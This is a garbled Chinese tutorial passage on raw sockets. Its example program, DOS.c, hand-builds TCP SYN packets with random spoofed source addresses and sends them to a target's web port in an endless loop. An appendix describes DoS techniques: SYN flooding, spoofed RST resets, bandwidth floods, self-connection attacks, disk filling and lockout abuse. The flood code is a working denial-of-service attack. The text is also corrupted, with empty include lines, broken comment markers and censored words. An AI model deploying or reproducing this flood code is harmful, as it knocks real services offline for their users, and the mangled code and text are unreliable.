spacer.gif我们在前面已经学习过了网络程序的两种套接字

(SOCK_STREAM,SOCK_DRAGM).在这一章里面我们一起来学习另外一种套

接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP

UDP 套接字不能够实现的功能. 注意原始套接字只能够由有root 权限的人创

.

原始套接字的创建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原

始套接字比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP  等等.详细的情

况查看

下面我们以一个实例来说明原始套接字的创建和使用:

下面是程序的源代码

/********************

#include

#include

#include

#include

#include

#include

#include

#include

#include

DOS.c

*****************/

#define DESTPORT80/* 要***的端口(WEB)

#define LOCALPORT8888

void send_tcp(int sockfd,struct sockaddr_in *addr);

unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)

{

int sockfd;

struct sockaddr_in addr;

struct hostent *host;

int on=1;

if(argc!=2)

{

fprintf(stderr,"Usage:%s  hostname\n\a",argv[0]);

exit(1);

*/



spacer.gif}

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)

{

host=gethostbyname(argv[1]);

if(host==NULL)

{

fprintf(stderr,"HostName  Error:%s\n\a",hstrerror(h_errno));

exit(1);

}

addr.sin_addr=*(struct in_addr  *)(host->h_addr_list[0]);

}

/****

使用IPPROTO_TCP 创建一个TCP 的原始套接字

****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

if(sockfd<0)

{

fprintf(stderr,"Socket  Error:%s\n\a",strerror(errno));

exit(1);

}

/********设置IP 数据包格式,告诉系统内核模块IP 数据包由我们自己来填

***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****只用超级护用户才可以使用原始套接字

setuid(getpid());

/*********发送×××了!!!!

send_tcp(sockfd,&addr);

}

****/

*********/

/******* 发送欺骗包的实现*********/

void send_tcp(int sockfd,struct sockaddr_in *addr)

{

char buffer[100]; /**** 用来放置我们的数据包

struct ip *ip;

struct tcphdr *tcp;

int head_len;

****/



spacer.gif/*******

***/

我们的数据包实际上没有任何内容,所以长度就是两个结构的长度

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/********填充IP 数据包的头部,还记得IP 的头格式吗?******/

ip=(struct ip *)buffer;

ip->ip_v=IPVERSION;/** 版本一般的是4**/

ip->ip_hl=sizeof(struct ip)>>2; /** IP 数据包的头部长度**/

ip->ip_tos=0;/** 服务类型**/

ip->ip_len=htons(head_len);/** IP 数据包的长度**/

ip->ip_id=0;/** 让系统去填写吧**/

ip->ip_off=0;/** 和上面一样,省点时间**/

ip->ip_ttl=MAXTTL;/** 最长的时间255**/

ip->ip_p=IPPROTO_TCP;/** 我们要发的是TCP **/

ip->ip_sum=0;/** 校验和让系统去做**/

ip->ip_dst=addr->sin_addr;/** 我们***的对象**/

/*******开始填写TCP 数据包

tcp=(struct tcphdr *)(buffer +sizeof(struct ip));

tcp->source=htons(LOCALPORT);

tcp->dest=addr->sin_port;/** 目的端口**/

tcp->seq=random();

tcp->ack_seq=0;

tcp->doff=5;

tcp->syn=1;/** 我要建立连接**/

tcp->check=0;

*****/

/** 好了,一切都准备好了.**/

while(1)

{

/**你不知道我是从那里来的,慢慢的去等吧!

ip->ip_src.s_addr=random();

/**

/**

**/

什么都让系统做了,也没有多大的意思,还是让我们自己来校验头

下面这条可有可无*/

tcp->check=check_sum((unsigned short *)tcp,

sizeof(struct tcphdr));

sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));

}



spacer.gif}

/* 下面是首部校验和的算法*/

unsigned short check_sum(unsigned short *addr,int len)

{

register int nleft=len;

register int sum=0;

register short *w=addr;

short answer=0;

while(nleft>1)

{

sum+=*w++;

nleft-=2;

}

if(nleft==1)

{

*(unsigned char *)(&answer)=*(unsigned  char *

sum+=answer;

}

sum=(sum>>16)+(sum&0xffff);

sum+=(sum>>16);

answer=~sum;

return(answer);

}

总结

原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自

己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP 套接字

的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我

们的数据后,回自动的调用相应的模块给数据加上TCP 头部,然后加上IP 头部.

再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去.

上面的实例中,由于我们要修改我们的源IP 地址,所以我们使用了setsockopt  

,如果我们只是修改TCP 数据,那么IP 数据一样也可以由系统来创建的.

附录Dos ***

已经有很多介绍DOSDenial of  Service,即拒绝服务)***的文章,但是,多数人还

是不知道DOS 到底是什么,它到底是怎么实现的。本文主要介绍DOS 的机理和常见的实施

方法。因前段时间仔细了解了TCP/IP 协议以及...

已经有很多介绍DOSDenial of  Service,即拒绝服务)***的文章,但是,多数人还

是不知道DOS 到底是什么,它到底是怎么实现的。本文主要介绍DOS 的机理和常见的实施

方法。因前段时间仔细了解了TCP/IP 协议以及RFC 文档,有点心得。同时,文中有部分内



spacer.gif容参考了Shaft 的文章翻译而得

。要想了解DOS ***得实现机理,必须对TCP 有一定的了解。所以,本文分为两部分,

第一部分介绍一

些实现DOS ***相关的协议,第二部分则介绍DOS 的常见方式。

1什么是DOS ***

DOS:即Denial Of Service,拒绝服务的缩写,可不能认为是微软的dos  操作系统了。

好象在5·1 的时候闹过这样的笑话。拒绝服务,就相当于必胜客在客满的时候不再让人进

去一样,呵呵,你想吃馅饼,就必须在门口等吧。DOS ***即***者想办法让目标机器停

止提供服务或资源访问,这些资源包括磁盘空间、内存、进程甚至网络带宽,从而阻止正常

用户的访问。比如:

* 试图FLOOD 服务器,阻止合法的网络通?br>* 破坏两个机器间的连接,阻止访问服

* 阻止特殊用户访问服务

* 破坏服务器的服务或者导致服务器死机

不过,只有那些比较阴险的***者才单独使用DOS ***,破坏服务器。通常,DOS

击会被作为一次***的一部分,比如,绕过***检测系统的时候,通常从用大量的***出发,

导致***检测系统日志过多或者反应迟钝,这样,***者就可以在潮水般的***中混骗过入

侵检测系统。

2、有关TCP 协议的东西

TCPtransmission control protocol,传输控制协议),是用来在不可靠的因特网上提供

可靠的、端到端的字节流通讯协议,在RFC793 中有正式定义,还有一些解决错误的东西在

RFC 1122 中有记录,RFC 1323 则有TCP 的功能扩展。

我们常见到的TCP/IP 协议中,IP 层不保证将数据报正确传送到目的地,TCP 则从本地

机器接受用户的数据流,将其分成不超过64K 字节的数据片段,将每个数据片段作为单独

IP 数据包发送出去,最后在目的地机器中再组合成完整的字节流,TCP 协议必须保证可

靠性。

发送和接收方的TCP 传输以数据段的形式交换数据,一个数据段包括一个固定的20

节头,加上可选部分,后面再跟上数据,TCP 协议从发送方传送一个数据段的时候,还要

启动计时器,当数据段到达目的地后,接收方还要发送回一个数据段,其中有一个确认序号,

它等于希望收到的下一个数据段的顺序号,如果计时器在确认信息到达前超时了,发送方会

重新发送这个数据段。

上面,我们总体上了解一点TCP 协议,重要的是要熟悉TCP 的数据头(header)。因为

数据流的传输最重要的就是header 里面的东西,至于发送的数据,只是header 附带上的。

客户端和服务端的服务响应就是同header 里面的数据相关,两端的信息交流和交换是根据

header 中的内容实施的,因此,要实现DOS,就必须对header 中的内容非常熟悉。

下面是TCP 数据段头格式。

Source Port Destination Port :是本地端口和目标端口

Sequence Number Acknowledgment  Number :是顺序号和确认号,确认号是希望接

收的字节号。这都是32 位的,在TCP 流中,每个数据字节都被编号。Data offset :表明TCP

头包含多少个32 位字,用来确定头的长度,因为头中可选字段长度是不定的。Reserved :

留的我不是人,现在没用,都是0

接下来是6 1 位的标志,这是两个计算机数据交流的信息标志。接收和发送断根据这

些标志来确定信息流的种类。下面是一些介绍:URGUrgent Pointer field significant)紧

急指针。用到的时候值为1,用来处理避免TCP 数据流中断ACKAcknowledgment field



spacer.gifsignificant)置1 时表示确认号(Acknowledgment Number)为合法,为0 的时候表示数据段

不包含确认信息,确认号被忽略。

PSHPush FunctionPUSH 标志的数据,置1 时请求的数据段在接收方得到后就可

直接送到应用程序,而不必等到缓冲区满时才传送。

RSTReset the connection)用于复位因某种原因引起出现的错误连接,也用来拒绝非

法数据和请求。如果

接收到RST 位时候,通常发生了某些错误。

SYNSynchronize sequence numbers)用来建立连接,在连接请求中,SYN=1CK=0

连接响应时,SYN=1

ACK=1。即,SYN ACK 来区分Connection Request Connection  Accepted

FINNo more data from sender)用来释放连接,表明发送方已经没有数据发送。

知道这重要的6 个指示标志后,我们继续来。

1 我不是人的WINDOW 字段:表示确认了字节后还可以发送多少字节。可以为0,表

示已经收到包括确认号减1(即已发送所有数据)

在内的所有数据段。

接下来是1 我不是人的Checksum 字段,用来确保可靠性的。

1 我不是人的Urgent Pointer,和下面的字段我们这里不解释了。不然太多了。呵呵,偷

懒啊。

我们进入比较重要的一部分:TCP 连接握手过程。这个过程简单地分为三步。在没有

连接中,接受方(我们针对服务器),服务器处于LISTEN 状态,等待其他机器发送连接请

求。

第一步:客户端发送一个带SYN 位的请求,向服务器表示需要连接,比如发送包假设

请求序号为10,那么则为:SYN=10ACK=0,然后等待服务器的响应。

第二步:服务器接收到这样的请求后,查看是否在LISTEN 的是指定的端口,不然,就

发送RST=1 应答,拒绝建立连接。如果接收连接,那么服务器发送确认,SYN 为服务器的

一个内码,假设为100ACK 位则是客户端的请求序号加1本例中发送的数据是:SYN=100

ACK=11,用这样的数据发送给客户端。向客户端表示,服务器连接已经准备好了,等待客

户端的确认这时客户端接收到消息后,分析得到的信息,准备发送确认连接信号到服务器

第三步:客户端发送确认建立连接的消息给服务器。确认信息的SYN 位是服务器发送

ACK 位,ACK 位是服务器发送的SYN 位加1。即:SYN=11ACK=101

这时,连接已经建立起来了。然后发送数据,<SYN=11ACK=101><DATA>。这是一

个基本的请求和连接过程。需要注意的是这些标志位的关系,比如SYNACK

3、服务器的缓冲区队列(Backlog Queue

服务器不会在每次接收到SYN 请求就立刻同客户端建立连接,而是为连接请求分配内

存空间,建立会话,并放到一个等待队列中。如果,这个等待的队列已经满了,那么,服务

器就不在为新的连接分配任何东西,直接丢弃新的请求。如果到了这样的地步,服务器就是

拒绝服务了。

如果服务器接收到一个RST 位信息,那么就认为这是一个有错误的数据段,会根据客

户端IP,把这样的连接在缓冲区队列中清除掉。这对IP  欺骗有影响,也能被利用来做DOS

***。

####################################################################

上面的介绍,我们了解TCP 协议,以及连接过程。要对SERVER 实施拒绝服务***,

实质上的方式就是有两个:

一,迫使服务器的缓冲区满,不接收新的请求。



spacer.gif二,使用IP 欺骗,迫使服务器把合法用户的连接复位,影响合法用户的连接

这就是DOS ***实施的基本思想。具体实现有这样的方法:

1SYN FLOOD

利用服务器的连接缓冲区(Backlog Queue,利用特殊的程序,设置TCP Header

向服务器端不断地成倍发送只有SYN 标志的TCP 连接请求。当服务器接收的时候,都认为

是没有建立起来的连接请求,于是为这些请求建立会话,排到缓冲区队列中。

如果你的SYN 请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接

收新的请求了。其他合法用户的连接都被拒绝掉。可以持续你的SYN 请求发送,直到缓冲

区中都是你的只有SYN 标记的请求。现在有很多实施SYN FLOOD 的工具,呵呵,自己找

去吧。

2IP 欺骗DOS ***

这种***利用RST 位来实现。假设现在有一个合法用户(1.1.1.1)已经同服务器建立了正

常的连接,***者构造***的TCP 数据,伪装自己的IP 1.1.1.1,并向服务器发送一个带

RST 位的TCP 数据段。服务器接收到这样的数据后,认为从1.1.1.1 发送的连接有错误,

就会清空缓冲区中建立好的连接。这时,如果合法用户1.1.1.1 再发送合法数据,服务器就

已经没有这样的连接了,该用户就必

须从新开始建立连接。***时,伪造大量的IP 地址,向目标发送RST 数据,使服务器

不对合法用户服务。

3带宽DOS ***

如果你的连接带宽足够大而服务器又不是很大,你可以发送请求,来消耗服务器的缓冲

区消耗服务器的带宽。这种***就是人多力量大了,配合上SYN 一起实施DOS威力巨大。

不过是初级DOS ***。呵呵。Ping 白宫??你发疯了啊!

4、自身消耗的DOS ***

这是一种老式的***手法。说老式,是因为老式的系统有这样的自身BUG比如Win95

(winsock v1),  Cisco IOS v.10.x, 和其他过时的系统。

这种DOS ***就是把请求客户端IP 和端口弄成主机的IP 端口相同,发送给主机。使

得主机给自己发送TCP 请求和连接。这种主机的漏洞会很快把资源消耗光。直接导致当机。

这中伪装对一些身份认证系统还是威胁巨大的。

上面这些实施DOS ***的手段最主要的就是构造需要的TCP 数据,充分利用TCP

议。这些***方法都是建立在TCP 基础上的。还

有其他的DOS ***手段。

5、塞满服务器的硬盘

通常,如果服务器可以没有限制地执行写操作,那么都能成为塞满硬盘造成DOS ***

的途径,比如:

发送垃圾邮件。一般公司的服务器可能把邮件服务器和WEB 服务器都放在一起。破坏

者可以发送大量的垃圾邮件,这些邮件可能都塞在一个邮件队列中或者就是坏邮件队列中,

直到邮箱被撑破或者把硬盘塞满。

让日志记录满。***者可以构造大量的错误信息发送出来,服务器记录这些错误,可能

就造成日志文件非常庞大,甚至会塞满硬盘。同时会让管理员痛苦地面对大量的日志,甚至

就不能发现***者真正的***途径。

向匿名FTP 塞垃圾文件。这样也可以塞满硬盘空间。

6、合理利用策略

一般服务器都有关于帐户锁定的安全策略,比如,某个帐户连续3 次登陆失败,那么这

个帐号将被锁定。这点也可以被破坏者利用,他们伪装一个帐号去错误登陆,这样使得这个



spacer.gif帐号被锁定,而正常的合法用户就不能使用这个帐号去登陆系统了